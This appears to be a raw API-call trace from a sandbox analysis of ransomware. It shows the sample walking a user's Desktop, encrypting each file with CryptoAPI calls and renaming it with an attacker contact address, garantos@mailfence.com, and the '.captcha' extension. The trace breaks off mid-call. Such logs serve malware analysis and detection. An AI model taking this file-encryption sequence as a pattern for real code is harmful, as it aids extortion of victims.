[0119.906] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0119.907] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0119.907] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0119.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0119.907] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0119.907] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x545248) returned 1 [0119.907] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0119.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.907] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x291f, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x291f, lpOverlapped=0x0) returned 1 [0119.907] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x2920, dwBufLen=0x2920 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x2920) returned 1 [0119.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.908] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x2920, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x2920, lpOverlapped=0x0) returned 1 [0119.908] CryptDestroyKey (hKey=0x545248) returned 1 [0119.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.908] SetEndOfFile (hFile=0x124) returned 1 [0119.913] GetProcessHeap () returned 0x520000 [0119.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5455a0 | out: hHeap=0x520000) returned 1 [0119.913] GetProcessHeap () returned 0x520000 [0119.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0119.913] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\80l Y.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\80l y.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\80l Y.pps.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\80l y.pps.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0119.921] CloseHandle (hObject=0x124) returned 1 [0119.921] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0119.921] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaad3c0, ftCreationTime.dwHighDateTime=0x1d5e479, ftLastAccessTime.dwLowDateTime=0x2b74fcb0, ftLastAccessTime.dwHighDateTime=0x1d5e217, ftLastWriteTime.dwLowDateTime=0x2b74fcb0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1bc5, dwReserved0=0x0, dwReserved1=0xffff, cFileName="9tXOTB6cCqaPF.png", cAlternateFileName="9TXOTB~1.PNG")) returned 1 [0119.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9tXOTB6cCqaPF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9txotb6ccqapf.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0119.921] GetProcessHeap () returned 0x520000 [0119.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0119.921] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0119.921] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0119.922] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0xb, lpOverlapped=0x0) returned 1 [0119.922] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x545248) returned 1 [0119.923] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0119.923] GetProcessHeap () returned 0x520000 [0119.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0119.923] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0119.923] CryptDestroyKey (hKey=0x545248) returned 1 [0119.923] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0119.923] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0119.923] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0119.923] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0119.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0119.923] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0119.923] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x545248) returned 1 [0119.923] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0119.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.924] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x1bc5, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x1bc5, lpOverlapped=0x0) returned 1 [0119.924] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x1bd0) returned 1 [0119.924] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.924] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x1bd0, lpOverlapped=0x0) returned 1 [0119.924] CryptDestroyKey (hKey=0x545248) returned 1 [0119.924] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.924] SetEndOfFile (hFile=0x124) returned 1 [0119.927] GetProcessHeap () returned 0x520000 [0119.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0119.927] GetProcessHeap () returned 0x520000 [0119.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0119.927] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9tXOTB6cCqaPF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9txotb6ccqapf.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9tXOTB6cCqaPF.png.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9txotb6ccqapf.png.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0119.930] CloseHandle (hObject=0x124) returned 1 [0119.931] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0119.931] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1805ec40, ftCreationTime.dwHighDateTime=0x1d5d7ed, ftLastAccessTime.dwLowDateTime=0xfe385b10, ftLastAccessTime.dwHighDateTime=0x1d5da51, ftLastWriteTime.dwLowDateTime=0xfe385b10, ftLastWriteTime.dwHighDateTime=0x1d5da51, nFileSizeHigh=0x0, nFileSizeLow=0x153ad, dwReserved0=0x0, dwReserved1=0xffff, cFileName="BfLJ-qJ.odp", cAlternateFileName="")) returned 1 [0119.931] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BfLJ-qJ.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bflj-qj.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0119.931] GetProcessHeap () returned 0x520000 [0119.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0119.931] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0119.931] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0119.931] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x3, lpOverlapped=0x0) returned 1 [0119.933] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x545248) returned 1 [0119.933] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0119.933] GetProcessHeap () returned 0x520000 [0119.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0119.933] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0119.933] CryptDestroyKey (hKey=0x545248) returned 1 [0119.933] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0119.933] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0119.933] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0119.933] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0119.933] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0119.933] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0119.934] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x545248) returned 1 [0119.934] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0119.934] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.934] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x153ad, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x153ad, lpOverlapped=0x0) returned 1 [0119.935] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x153b0, dwBufLen=0x153b0 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x153b0) returned 1 [0119.936] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.936] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x153b0, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x153b0, lpOverlapped=0x0) returned 1 [0119.937] CryptDestroyKey (hKey=0x545248) returned 1 [0119.937] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.937] SetEndOfFile (hFile=0x124) returned 1 [0119.941] GetProcessHeap () returned 0x520000 [0119.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0119.941] GetProcessHeap () returned 0x520000 [0119.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0119.941] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BfLJ-qJ.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bflj-qj.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BfLJ-qJ.odp.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bflj-qj.odp.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0119.977] CloseHandle (hObject=0x124) returned 1 [0119.977] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0119.977] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23091510, ftCreationTime.dwHighDateTime=0x1d5df16, ftLastAccessTime.dwLowDateTime=0xbdbe1000, ftLastAccessTime.dwHighDateTime=0x1d5df5d, ftLastWriteTime.dwLowDateTime=0xbdbe1000, ftLastWriteTime.dwHighDateTime=0x1d5df5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f3b, dwReserved0=0x0, dwReserved1=0xffff, cFileName="bYmDuT2Ba.m4a", cAlternateFileName="BYMDUT~1.M4A")) returned 1 [0119.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bYmDuT2Ba.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bymdut2ba.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0119.978] GetProcessHeap () returned 0x520000 [0119.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0119.978] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0119.978] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0119.978] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x5, lpOverlapped=0x0) returned 1 [0119.979] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0119.979] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0119.979] GetProcessHeap () returned 0x520000 [0119.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0119.979] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0119.979] CryptDestroyKey (hKey=0x53a950) returned 1 [0119.979] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0119.979] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0119.980] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0119.980] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0119.981] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0119.981] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0119.981] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0119.981] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0119.981] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.981] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x12f3b, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x12f3b, lpOverlapped=0x0) returned 1 [0119.982] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x12f40, dwBufLen=0x12f40 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x12f40) returned 1 [0119.983] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.983] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x12f40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x12f40, lpOverlapped=0x0) returned 1 [0119.983] CryptDestroyKey (hKey=0x53a950) returned 1 [0119.983] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.983] SetEndOfFile (hFile=0x124) returned 1 [0119.987] GetProcessHeap () returned 0x520000 [0119.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0119.987] GetProcessHeap () returned 0x520000 [0119.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0119.987] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bYmDuT2Ba.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bymdut2ba.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bYmDuT2Ba.m4a.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bymdut2ba.m4a.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.012] CloseHandle (hObject=0x124) returned 1 [0120.012] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.012] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b05f6a0, ftCreationTime.dwHighDateTime=0x1d5e676, ftLastAccessTime.dwLowDateTime=0xca51b7d0, ftLastAccessTime.dwHighDateTime=0x1d5db99, ftLastWriteTime.dwLowDateTime=0xca51b7d0, ftLastWriteTime.dwHighDateTime=0x1d5db99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="C4P_ngTwnzZZoM", cAlternateFileName="C4P_NG~1")) returned 1 [0120.012] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.012] GetProcessHeap () returned 0x520000 [0120.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7a) returned 0x545638 [0120.013] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\*.*", lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b05f6a0, ftCreationTime.dwHighDateTime=0x1d5e676, ftLastAccessTime.dwLowDateTime=0xca51b7d0, ftLastAccessTime.dwHighDateTime=0x1d5db99, ftLastWriteTime.dwLowDateTime=0xca51b7d0, ftLastWriteTime.dwHighDateTime=0x1d5db99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x53a950 [0120.013] GetProcessHeap () returned 0x520000 [0120.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545638 | out: hHeap=0x520000) returned 1 [0120.013] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b05f6a0, ftCreationTime.dwHighDateTime=0x1d5e676, ftLastAccessTime.dwLowDateTime=0xca51b7d0, ftLastAccessTime.dwHighDateTime=0x1d5db99, ftLastWriteTime.dwLowDateTime=0xca51b7d0, ftLastWriteTime.dwHighDateTime=0x1d5db99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0120.013] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a09570, ftCreationTime.dwHighDateTime=0x1d5e5b4, ftLastAccessTime.dwLowDateTime=0xdb3c8bb0, ftLastAccessTime.dwHighDateTime=0x1d5e210, ftLastWriteTime.dwLowDateTime=0xdb3c8bb0, ftLastWriteTime.dwHighDateTime=0x1d5e210, nFileSizeHigh=0x0, nFileSizeLow=0x942f, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="BmFVMwZ-.ppt", cAlternateFileName="")) returned 1 [0120.013] GetProcessHeap () returned 0x520000 [0120.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x27c) returned 0x56b6b0 [0120.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\BmFVMwZ-.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4p_ngtwnzzzom\\bmfvmwz-.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0120.013] GetProcessHeap () returned 0x520000 [0120.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.014] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.014] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, 